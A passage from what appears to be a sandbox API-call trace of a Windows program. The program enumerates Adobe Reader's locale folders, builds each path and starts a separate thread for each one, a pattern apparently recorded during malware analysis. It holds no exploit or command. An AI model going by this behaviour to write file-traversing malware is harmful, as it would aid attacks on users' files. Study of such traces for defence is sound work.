(_String1="cs_CZ", _String2=".") returned 1 [0066.093] wcscmp (_String1="cs_CZ", _String2="..") returned 1 [0066.093] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4480f0 [0066.093] wcscpy (in: _Dest=0x4480f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.093] wcscat (in: _Dest=0x4480f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.093] wcscat (in: _Dest=0x4480f0, _Source="cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0066.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4480f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0066.094] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0066.095] wcscmp (_String1="da_DK", _String2=".") returned 1 [0066.095] wcscmp (_String1="da_DK", _String2="..") returned 1 [0066.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x448200 [0066.095] wcscpy (in: _Dest=0x448200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.095] wcscat (in: _Dest=0x448200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.095] wcscat (in: _Dest=0x448200, _Source="da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0066.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x448200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0066.096] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0066.096] wcscmp (_String1="de_DE", _String2=".") returned 1 [0066.096] wcscmp (_String1="de_DE", _String2="..") returned 1 [0066.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4466e8 [0066.096] wcscpy (in: _Dest=0x4466e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.096] wcscat (in: _Dest=0x4466e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.096] wcscat (in: _Dest=0x4466e8, _Source="de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0066.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4466e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0066.097] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0066.097] wcscmp (_String1="es_ES", _String2=".") returned 1 [0066.097] wcscmp (_String1="es_ES", _String2="..") returned 1 [0066.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7258 [0066.097] wcscpy (in: _Dest=0x5ec7258, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.097] wcscat (in: _Dest=0x5ec7258, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.097] wcscat (in: _Dest=0x5ec7258, _Source="es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0066.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0066.099] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0066.099] wcscmp (_String1="eu_ES", _String2=".") returned 1 [0066.099] wcscmp (_String1="eu_ES", _String2="..") returned 1 [0066.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec72e0 [0066.099] wcscpy (in: _Dest=0x5ec72e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.099] wcscat (in: _Dest=0x5ec72e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.099] wcscat (in: _Dest=0x5ec72e0, _Source="eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0066.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec72e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0066.100] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0066.100] wcscmp (_String1="fi_FI", _String2=".") returned 1 [0066.100] wcscmp (_String1="fi_FI", _String2="..") returned 1 [0066.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7368 [0066.100] wcscpy (in: _Dest=0x5ec7368, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.100] wcscat (in: _Dest=0x5ec7368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.100] wcscat (in: _Dest=0x5ec7368, _Source="fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0066.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0066.102] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0066.102] wcscmp (_String1="fr_FR", _String2=".") returned 1 [0066.102] wcscmp (_String1="fr_FR", _String2="..") returned 1 [0066.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec73f0 [0066.102] wcscpy (in: _Dest=0x5ec73f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.102] wcscat (in: _Dest=0x5ec73f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.102] wcscat (in: _Dest=0x5ec73f0, _Source="fr_FR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" [0066.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec73f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0066.103] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0066.103] wcscmp (_String1="hr_HR", _String2=".") returned 1 [0066.103] wcscmp (_String1="hr_HR", _String2="..") returned 1 [0066.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7478 [0066.103] wcscpy (in: _Dest=0x5ec7478, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.103] wcscat (in: _Dest=0x5ec7478, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.103] wcscat (in: _Dest=0x5ec7478, _Source="hr_HR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" [0066.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec [0066.104] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0066.104] wcscmp (_String1="hu_HU", _String2=".") returned 1 [0066.104] wcscmp (_String1="hu_HU", _String2="..") returned 1 [0066.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7500 [0066.105] wcscpy (in: _Dest=0x5ec7500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.105] wcscat (in: _Dest=0x5ec7500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.105] wcscat (in: _Dest=0x5ec7500, _Source="hu_HU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" [0066.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee0 [0066.106] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0066.106] wcscmp (_String1="it_IT", _String2=".") returned 1 [0066.106] wcscmp (_String1="it_IT", _String2="..") returned 1 [0066.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7588 [0066.106] wcscpy (in: _Dest=0x5ec7588, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.106] wcscat (in: _Dest=0x5ec7588, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.106] wcscat (in: _Dest=0x5ec7588, _Source="it_IT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" [0066.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc [0066.108] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0066.108] wcscmp (_String1="ja_JP", _String2=".") returned 1 [0066.108] wcscmp (_String1="ja_JP", _String2="..") returned 1 [0066.108] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7610 [0066.108] wcscpy (in: _Dest=0x5ec7610, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.108] wcscat (in: _Dest=0x5ec7610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.108] wcscat (in: _Dest=0x5ec7610, _Source="ja_JP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" [0066.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0066.109] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0066.109] wcscmp (_String1="ko_KR", _String2=".") returned 1 [0066.109] wcscmp (_String1="ko_KR", _String2="..") returned 1 [0066.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7698 [0066.109] wcscpy (in: _Dest=0x5ec7698, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.109] wcscat (in: _Dest=0x5ec7698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.109] wcscat (in: _Dest=0x5ec7698, _Source="ko_KR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" [0066.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0066.111] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0066.111] wcscmp (_String1="nb_NO", _String2=".") returned 1 [0066.111] wcscmp (_String1="nb_NO", _String2="..") returned 1 [0066.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7720 [0066.111] wcscpy (in: _Dest=0x5ec7720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.111] wcscat (in: _Dest=0x5ec7720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.111] wcscat (in: _Dest=0x5ec7720, _Source="nb_NO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" [0066.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0066.112] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0066.112] wcscmp (_String1="nl_NL", _String2=".") returned 1 [0066.112] wcscmp (_String1="nl_NL", _String2="..") returned 1 [0066.112] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec77a8 [0066.112] wcscpy (in: _Dest=0x5ec77a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.112] wcscat (in: _Dest=0x5ec77a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.112] wcscat (in: _Dest=0x5ec77a8, _Source="nl_NL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" [0066.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec77a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4 [0066.114] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0066.114] wcscmp (_String1="pl_PL", _String2=".") returned 1 [0066.114] wcscmp (_String1="pl_PL", _String2="..") returned 1 [0066.114] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7830 [0066.114] wcscpy (in: _Dest=0x5ec7830, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.114] wcscat (in: _Dest=0x5ec7830, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.114] wcscat (in: _Dest=0x5ec7830, _Source="pl_PL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" [0066.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0066.115] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0066.115] wcscmp (_String1="pt_BR", _String2=".") returned 1 [0066.115] wcscmp (_String1="pt_BR", _String2="..") returned 1 [0066.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec78b8 [0066.115] wcscpy (in: _Dest=0x5ec78b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.115] wcscat (in: _Dest=0x5ec78b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.115] wcscat (in: _Dest=0x5ec78b8, _Source="pt_BR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" [0066.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, 